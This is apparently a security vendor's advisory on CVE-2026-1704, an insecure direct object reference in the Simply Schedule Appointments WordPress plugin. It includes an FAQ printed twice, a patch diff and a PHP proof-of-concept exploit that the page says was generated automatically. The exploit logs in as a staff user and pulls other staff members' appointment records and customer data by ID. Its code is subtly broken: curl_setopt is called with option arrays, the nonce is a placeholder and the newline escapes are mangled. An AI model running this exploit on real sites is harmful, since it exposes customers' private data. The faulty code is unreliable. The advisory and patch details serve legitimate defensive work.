What is CVE-2026-1704?

CVE-2026-1704 is a security vulnerability in the Simply Schedule Appointments plugin for WordPress, affecting versions up to and including 1.6.9.29. It allows authenticated users with certain capabilities to access sensitive appointment information belonging to other staff members due to improper authorization checks.

How does this vulnerability work?

The vulnerability arises from the `get_item_permissions_check` method, which grants access to any user with the `ssa_manage_appointments` capability without verifying if they own the requested appointment. This allows attackers to exploit the REST API by requesting appointment records using arbitrary IDs.

Who is affected by CVE-2026-1704?

Any WordPress site using the Simply Schedule Appointments plugin version 1.6.9.29 or earlier is affected. Specifically, users with the `ssa_manage_appointments` capability, such as Team Members, can exploit this vulnerability to access unauthorized appointment data.

How can I check if my site is vulnerable?

To check if your site is vulnerable, verify the version of the Simply Schedule Appointments plugin installed. If it is version 1.6.9.29 or earlier, your site is susceptible to this vulnerability. Additionally, review user roles and permissions related to appointment management.

How can I fix CVE-2026-1704?

The vulnerability has been patched in version 1.6.10.0 of the Simply Schedule Appointments plugin. Update your plugin to this version or later to mitigate the risk of exploitation and ensure proper authorization checks are enforced.

What if I cannot update the plugin immediately?

If immediate updates are not possible, consider restricting access to the appointment management capabilities for users who do not need them. Additionally, monitor user activity and appointment access logs for any suspicious behavior until the plugin can be updated.

What does the CVSS score of 4.3 indicate?

A CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the vulnerability may not be easily exploitable by casual attackers, it poses a significant risk if exploited by authenticated users with specific permissions.

What is Insecure Direct Object Reference (IDOR)?

Insecure Direct Object Reference (IDOR) is a type of vulnerability that occurs when an application provides direct access to objects based on user-supplied input. In this case, it allows authenticated users to access appointment records that do not belong to them, leading to unauthorized information exposure.

How does the proof of concept demonstrate the vulnerability?

The proof of concept provided shows how an authenticated user can send a request to the plugin’s REST API to retrieve appointment data by specifying an ID that belongs to another user. This illustrates the lack of proper authorization checks and the ease with which sensitive information can be accessed.

What should I do if I suspect exploitation?

If you suspect that the vulnerability has been exploited, immediately review your logs for unauthorized access attempts. Change passwords for affected accounts, restrict user capabilities, and consult with a security professional to assess the impact and remediate any breaches.

Where can I find more information about CVE-2026-1704?

More information about CVE-2026-1704 can be found on the National Vulnerability Database (NVD) and the official WordPress plugin repository. Additionally, security blogs and forums may provide insights into the vulnerability and its implications.

Atomic Edge Proof of Concept automated generator using AI diff analysis

Published : March 18, 2026

CVE-2026-1704: Appointment Booking Calendar <= 1.6.9.29 – Insecure Direct Object Reference to Authenticated (Staff+) Sensitive Information Exposure (simply-schedule-appointments)

CVE ID CVE-2026-1704

Plugin simply-schedule-appointments

Severity Medium (CVSS 4.3)

CWE 639

Vulnerable Version 1.6.9.29

Patched Version 1.6.10.0

Disclosed March 11, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1704:
The vulnerability exists in the `get_item_permissions_check` method within the `class-appointment-model.php` file. The root cause is the method’s unconditional return of `true` for any user with the `ssa_manage_appointments` capability, without verifying the requesting user’s ownership of the specific appointment ID. This flaw creates an Insecure Direct Object Reference (IDOR). Attackers with the `ssa_manage_appointments` capability, such as Team Members, can exploit this by sending a GET request to the plugin’s REST API endpoint for appointments, specifying an arbitrary `id` parameter belonging to another staff member. The vulnerable code path is the permission check at line 1442 in version 1.6.9.29, which grants access based solely on capability. The patch modifies this logic. It now retrieves the request parameters and checks if the current user is associated with the requested appointment ID via the `user_has_appointment_id` method. This enforces proper authorization. Successful exploitation allows authenticated attackers to view appointment records and sensitive customer personally identifiable information (PII) belonging to other staff members.

Differential between vulnerable and patched code

Code Diff

--- a/simply-schedule-appointments/includes/class-appointment-model.php
+++ b/simply-schedule-appointments/includes/class-appointment-model.php
@@ -1440,7 +1440,10 @@
 		}

 		if ( current_user_can( 'ssa_manage_appointments' ) ) {
-			return true;
+			$params = $request->get_params();
+			if ( ! empty( $params['id'] ) && $this->plugin->staff_appointment_model->user_has_appointment_id( get_current_user_id(), (int) $params['id'] ) ) {
+				return true;
+			}
 		}

 		$params = $request->get_params();
--- a/simply-schedule-appointments/includes/class-elementor.php
+++ b/simply-schedule-appointments/includes/class-elementor.php
@@ -20,7 +20,7 @@
 	 *
 	 * @var string The plugin version.
 	 */
-	const VERSION = '1.6.9.29';
+	const VERSION = '1.6.10.0';

 	/**
 	 * Minimum Elementor Version
@@ -29,7 +29,7 @@
 	 *
 	 * @var string Minimum Elementor version required to run the plugin.
 	 */
-	const MINIMUM_ELEMENTOR_VERSION = '1.6.9.29';
+	const MINIMUM_ELEMENTOR_VERSION = '1.6.10.0';

 	/**
 	 * Minimum PHP Version
@@ -38,7 +38,7 @@
 	 *
 	 * @var string Minimum PHP version required to run the plugin.
 	 */
-	const MINIMUM_PHP_VERSION = '1.6.9.29';
+	const MINIMUM_PHP_VERSION = '1.6.10.0';

 	/**
 	 * Instance
--- a/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
+++ b/simply-schedule-appointments/includes/class-paypal-ipn-listener.php
@@ -23,7 +23,7 @@
 	 *  @package    PHP-PayPal-IPN
 	 *  @author     Micah Carrick
 	 *  @copyright  (c) 2011 - Micah Carrick
-	 *  @version    1.6.9.29
+	 *  @version    1.6.10.0
 	 *  @license    http://opensource.org/licenses/gpl-3.0.html
 	 */

--- a/simply-schedule-appointments/includes/class-settings-api.php
+++ b/simply-schedule-appointments/includes/class-settings-api.php
@@ -128,6 +128,7 @@
 	 */
 	public function get_item( $request ) {
 		$settings = $this->plugin->settings->get();
+		$settings = $this->plugin->settings->remove_unauthorized_settings_for_current_user( $settings );
 		if ( empty( $settings[$request['id']] ) ) {
 			return array(
 				'response_code' => 404,
--- a/simply-schedule-appointments/includes/lib/td-util/class-td-db-model.php
+++ b/simply-schedule-appointments/includes/lib/td-util/class-td-db-model.php
@@ -1181,7 +1181,15 @@
 		$sanitized_orderby = sanitize_key(esc_sql( $args['orderby'] ));
 		$sanitized_order = 'ASC' === strtoupper( esc_sql( $args['order'] ) ) ? 'ASC' : 'DESC';
 		$table_name      = $this->get_table_name();
-		$fields          = empty( $args['fields'] ) ? '*' : '`' . implode( '`, `', $args['fields'] ) . '`';
+
+		if ( empty( $args['fields'] ) ) {
+			$fields = '*';
+		} else {
+			$valid_fields   = array_keys( $this->get_fields() );
+			$requested      = array_map( 'sanitize_key', (array) $args['fields'] );
+			$safe_fields    = array_intersect( $requested, $valid_fields );
+			$fields         = empty( $safe_fields ) ? '*' : '`' . implode( '`, `', $safe_fields ) . '`';
+		}

 		// if( $rows === false ) {
 			$sql = $wpdb->prepare( "SELECT $fields FROM  $table_name $where ORDER BY $sanitized_orderby $sanitized_order LIMIT %d,%d;", absint( $args['offset'] ), absint( $args['number'] ) );
--- a/simply-schedule-appointments/simply-schedule-appointments.php
+++ b/simply-schedule-appointments/simply-schedule-appointments.php
@@ -3,7 +3,7 @@
  * Plugin Name: Simply Schedule Appointments
  * Plugin URI:  https://simplyscheduleappointments.com
  * Description: Easy appointment scheduling
- * Version:     1.6.9.29
+ * Version:     1.6.10.0
  * Requires PHP: 7.4
  * Author:      NSquared
  * Author URI:  https://nsquared.io/
@@ -15,7 +15,7 @@
  * @link    https://simplyscheduleappointments.com
  *
  * @package Simply_Schedule_Appointments
- * @version 1.6.9.29
+ * @version 1.6.10.0
  *
  * Built using generator-plugin-wp (https://github.com/WebDevStudios/generator-plugin-wp)
  */
@@ -206,7 +206,7 @@
 	 * @var    string
 	 * @since  0.0.0
 	 */
-	const VERSION = '1.6.9.29';
+	const VERSION = '1.6.10.0';

 	/**
 	 * URL of plugin directory.
--- a/simply-schedule-appointments/vendor/composer/installed.php
+++ b/simply-schedule-appointments/vendor/composer/installed.php
@@ -3,7 +3,7 @@
         'name' => '__root__',
         'pretty_version' => 'dev-master',
         'version' => 'dev-master',
-        'reference' => '03b73d1b9dd38e343b43649f9def24151b7a447b',
+        'reference' => '594fc2d148be65168dc82cf3514b09912153a0d2',
         'type' => 'library',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -13,7 +13,7 @@
         '__root__' => array(
             'pretty_version' => 'dev-master',
             'version' => 'dev-master',
-            'reference' => '03b73d1b9dd38e343b43649f9def24151b7a447b',
+            'reference' => '594fc2d148be65168dc82cf3514b09912153a0d2',
             'type' => 'library',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1704 - Appointment Booking Calendar <= 1.6.9.29 - Insecure Direct Object Reference to Authenticated (Staff+) Sensitive Information Exposure
<?php

$target_url = 'https://example.com';
$username = 'attacker_staff';
$password = 'attacker_password';
$target_appointment_id = 123; // ID of an appointment belonging to another staff member

// Step 1: Authenticate to WordPress and obtain a valid nonce for REST API requests.
$login_url = $target_url . '/wp-login.php';
$api_nonce_url = $target_url . '/wp-admin/admin-ajax.php?action=heartbeat';

$ch = curl_init();
$cookie_file = tempnam(sys_get_temp_dir(), 'cve_');

// Perform login
curl_setopt_array($ch, [
    CURLOPT_URL => $login_url,
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'wp-submit' => 'Log In',
        'redirect_to' => $target_url . '/wp-admin/',
        'testcookie' => '1'
    ]),
    CURLOPT_COOKIEJAR => $cookie_file,
    CURLOPT_COOKIEFILE => $cookie_file,
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_FOLLOWLOCATION => true
]);
$response = curl_exec($ch);

// Fetch a nonce from the heartbeat API (commonly used for REST API nonce).
curl_setopt($ch, [
    CURLOPT_URL => $api_nonce_url,
    CURLOPT_POST => false,
    CURLOPT_HTTPGET => true
]);
$response = curl_exec($ch);

// Extract nonce from heartbeat response (simplified; real implementation may parse JSON).
// This is a placeholder. Actual nonce retrieval depends on site configuration.
// For this PoC, we assume the user session is valid for REST API calls.
$nonce = 'REST_API_NONCE_PLACEHOLDER';

// Step 2: Exploit the IDOR via the plugin's REST API endpoint.
// The endpoint is typically /wp-json/ssa/v1/appointments/{id}
$exploit_url = $target_url . '/wp-json/ssa/v1/appointments/' . $target_appointment_id;

curl_setopt($ch, [
    CURLOPT_URL => $exploit_url,
    CURLOPT_HTTPGET => true,
    CURLOPT_HTTPHEADER => [
        'X-WP-Nonce: ' . $nonce // Nonce header for REST API authentication
    ]
]);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);

if ($http_code === 200) {
    echo "SUCCESS: Retrieved appointment data for ID $target_appointment_idn";
    echo "Response: " . $response . "n";
} else {
    echo "FAILED: HTTP Code $http_coden";
    echo "Response: " . $response . "n";
}

curl_close($ch);
unlink($cookie_file);

?>

Frequently Asked Questions

What is CVE-2026-1704?
Overview of the vulnerability
CVE-2026-1704 is a security vulnerability in the Simply Schedule Appointments plugin for WordPress, affecting versions up to and including 1.6.9.29. It allows authenticated users with certain capabilities to access sensitive appointment information belonging to other staff members due to improper authorization checks.
How does this vulnerability work?
Mechanism of exploitation
The vulnerability arises from the `get_item_permissions_check` method, which grants access to any user with the `ssa_manage_appointments` capability without verifying if they own the requested appointment. This allows attackers to exploit the REST API by requesting appointment records using arbitrary IDs.
Who is affected by CVE-2026-1704?
Identifying vulnerable users
Any WordPress site using the Simply Schedule Appointments plugin version 1.6.9.29 or earlier is affected. Specifically, users with the `ssa_manage_appointments` capability, such as Team Members, can exploit this vulnerability to access unauthorized appointment data.
How can I check if my site is vulnerable?
Steps for verification
To check if your site is vulnerable, verify the version of the Simply Schedule Appointments plugin installed. If it is version 1.6.9.29 or earlier, your site is susceptible to this vulnerability. Additionally, review user roles and permissions related to appointment management.
How can I fix CVE-2026-1704?
Updating the plugin
The vulnerability has been patched in version 1.6.10.0 of the Simply Schedule Appointments plugin. Update your plugin to this version or later to mitigate the risk of exploitation and ensure proper authorization checks are enforced.
What if I cannot update the plugin immediately?
Mitigation strategies
If immediate updates are not possible, consider restricting access to the appointment management capabilities for users who do not need them. Additionally, monitor user activity and appointment access logs for any suspicious behavior until the plugin can be updated.
What does the CVSS score of 4.3 indicate?
Understanding the severity rating
A CVSS score of 4.3 indicates a medium severity vulnerability. This means that while the vulnerability may not be easily exploitable by casual attackers, it poses a significant risk if exploited by authenticated users with specific permissions.
What is Insecure Direct Object Reference (IDOR)?
Definition and implications
Insecure Direct Object Reference (IDOR) is a type of vulnerability that occurs when an application provides direct access to objects based on user-supplied input. In this case, it allows authenticated users to access appointment records that do not belong to them, leading to unauthorized information exposure.
How does the proof of concept demonstrate the vulnerability?
Explaining the exploit code
The proof of concept provided shows how an authenticated user can send a request to the plugin’s REST API to retrieve appointment data by specifying an ID that belongs to another user. This illustrates the lack of proper authorization checks and the ease with which sensitive information can be accessed.
What should I do if I suspect exploitation?
Response to potential breaches
If you suspect that the vulnerability has been exploited, immediately review your logs for unauthorized access attempts. Change passwords for affected accounts, restrict user capabilities, and consult with a security professional to assess the impact and remediate any breaches.
Where can I find more information about CVE-2026-1704?
Resources for further reading
More information about CVE-2026-1704 can be found on the National Vulnerability Database (NVD) and the official WordPress plugin repository. Additionally, security blogs and forums may provide insights into the vulnerability and its implications.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations